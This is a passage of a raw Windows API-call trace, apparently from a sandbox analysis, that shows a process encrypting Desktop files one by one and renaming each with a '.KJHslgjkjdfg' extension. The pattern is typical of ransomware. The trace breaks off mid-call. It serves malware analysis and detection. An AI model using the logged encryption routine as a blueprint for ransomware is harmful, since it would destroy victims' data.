[0146.188] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.188] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.188] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.188] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.188] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.188] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17e2b, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x17e2b, lpOverlapped=0x0) returned 1 [0146.189] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x17e30, dwBufLen=0x17e30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x17e30) returned 1 [0146.190] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.190] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17e30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x17e30, lpOverlapped=0x0) returned 1 [0146.191] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.191] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x17ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.191] SetEndOfFile (hFile=0xc0) returned 1 [0146.194] GetProcessHeap () returned 0x2ef0000 [0146.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.194] GetProcessHeap () returned 0x2ef0000 [0146.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.194] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wi7Y.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wi7y.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wi7Y.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wi7y.flv.kjhslgjkjdfg")) returned 1 [0146.194] CloseHandle (hObject=0xc0) returned 1 [0146.195] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56457060, ftCreationTime.dwHighDateTime=0x1d5e4e6, ftLastAccessTime.dwLowDateTime=0xfd27b3c0, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0xfd27b3c0, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0xe18c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="YRF1G_sJQYGgy53oHU.png", cAlternateFileName="YRF1G_~1.PNG")) returned 1 [0146.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YRF1G_sJQYGgy53oHU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yrf1g_sjqyggy53ohu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.195] GetProcessHeap () returned 0x2ef0000 [0146.195] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.195] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.195] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.195] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.198] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.198] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.198] GetProcessHeap () returned 0x2ef0000 [0146.198] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.198] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.198] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.198] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.198] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.198] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.198] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.198] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.198] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.198] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.198] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.198] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.199] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe18c, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xe18c, lpOverlapped=0x0) returned 1 [0146.200] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xe190, dwBufLen=0xe190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xe190) returned 1 [0146.200] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.200] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe190, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xe190, lpOverlapped=0x0) returned 1 [0146.201] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.201] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xe274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.201] SetEndOfFile (hFile=0xc0) returned 1 [0146.204] GetProcessHeap () returned 0x2ef0000 [0146.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.204] GetProcessHeap () returned 0x2ef0000 [0146.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YRF1G_sJQYGgy53oHU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yrf1g_sjqyggy53ohu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YRF1G_sJQYGgy53oHU.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yrf1g_sjqyggy53ohu.png.kjhslgjkjdfg")) returned 1 [0146.210] CloseHandle (hObject=0xc0) returned 1 [0146.210] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892a8110, ftCreationTime.dwHighDateTime=0x1d5df8b, ftLastAccessTime.dwLowDateTime=0x3f08a700, ftLastAccessTime.dwHighDateTime=0x1d5e1cb, ftLastWriteTime.dwLowDateTime=0x3f08a700, ftLastWriteTime.dwHighDateTime=0x1d5e1cb, nFileSizeHigh=0x0, nFileSizeLow=0xf667, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Yy8-t.swf", cAlternateFileName="")) returned 1 [0146.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yy8-t.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yy8-t.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.210] GetProcessHeap () returned 0x2ef0000 [0146.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.211] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.211] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.211] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x9, lpOverlapped=0x0) returned 1 [0146.214] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.214] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.214] GetProcessHeap () returned 0x2ef0000 [0146.214] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0146.214] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30) returned 1 [0146.214] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.214] WriteFile (in: hFile=0xc0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dffc90*=0x30, lpOverlapped=0x0) returned 1 [0146.215] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.215] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.215] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.215] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.216] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.216] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.216] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.216] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.216] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf667, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xf667, lpOverlapped=0x0) returned 1 [0146.217] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xf670, dwBufLen=0xf670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xf670) returned 1 [0146.218] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.218] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf670, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xf670, lpOverlapped=0x0) returned 1 [0146.218] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.218] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xf734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.218] SetEndOfFile (hFile=0xc0) returned 1 [0146.222] GetProcessHeap () returned 0x2ef0000 [0146.222] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.222] GetProcessHeap () returned 0x2ef0000 [0146.222] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yy8-t.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yy8-t.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yy8-t.swf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yy8-t.swf.kjhslgjkjdfg")) returned 1 [0146.223] CloseHandle (hObject=0xc0) returned 1 [0146.225] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x267301e0, ftCreationTime.dwHighDateTime=0x1d5e4e6, ftLastAccessTime.dwLowDateTime=0xb5b98db0, ftLastAccessTime.dwHighDateTime=0x1d5e789, ftLastWriteTime.dwLowDateTime=0xb5b98db0, ftLastWriteTime.dwHighDateTime=0x1d5e789, nFileSizeHigh=0x0, nFileSizeLow=0xc281, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ZOCgkIcf-vKIc.pdf", cAlternateFileName="ZOCGKI~1.PDF")) returned 1 [0146.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZOCgkIcf-vKIc.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zocgkicf-vkic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.226] GetProcessHeap () returned 0x2ef0000 [0146.226] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.226] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.226] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.226] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xf, lpOverlapped=0x0) returned 1 [0146.230] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.230] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.230] GetProcessHeap () returned 0x2ef0000 [0146.230] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.230] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.230] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.230] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.230] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.230] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.231] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.231] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.231] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.231] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.231] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.231] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.231] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc281, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xc281, lpOverlapped=0x0) returned 1 [0146.232] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xc290, dwBufLen=0xc290 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xc290) returned 1 [0146.233] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.233] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc290, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xc290, lpOverlapped=0x0) returned 1 [0146.233] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.233] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xc364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.233] SetEndOfFile (hFile=0xc0) returned 1 [0146.236] GetProcessHeap () returned 0x2ef0000 [0146.236] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.236] GetProcessHeap () returned 0x2ef0000 [0146.236] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZOCgkIcf-vKIc.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zocgkicf-vkic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZOCgkIcf-vKIc.pdf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zocgkicf-vkic.pdf.kjhslgjkjdfg")) returned 1 [0146.238] CloseHandle (hObject=0xc0) returned 1 [0146.239] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c5bbd0, ftCreationTime.dwHighDateTime=0x1d5e003, ftLastAccessTime.dwLowDateTime=0x9baf7a70, ftLastAccessTime.dwHighDateTime=0x1d5dd92, ftLastWriteTime.dwLowDateTime=0x9baf7a70, ftLastWriteTime.dwHighDateTime=0x1d5dd92, nFileSizeHigh=0x0, nFileSizeLow=0xb843, dwReserved0=0x0, dwReserved1=0xffff, cFileName="_rRrik31.bmp", cAlternateFileName="")) returned 1 [0146.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_rRrik31.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_rrrik31.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.239] GetProcessHeap () returned 0x2ef0000 [0146.239] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.239] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.239] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.240] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xd, lpOverlapped=0x0) returned 1 [0146.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.241] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.242] GetProcessHeap () returned 0x2ef0000 [0146.242] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.242] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.242] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.242] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.242] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.242] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.242] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.242] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.242] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 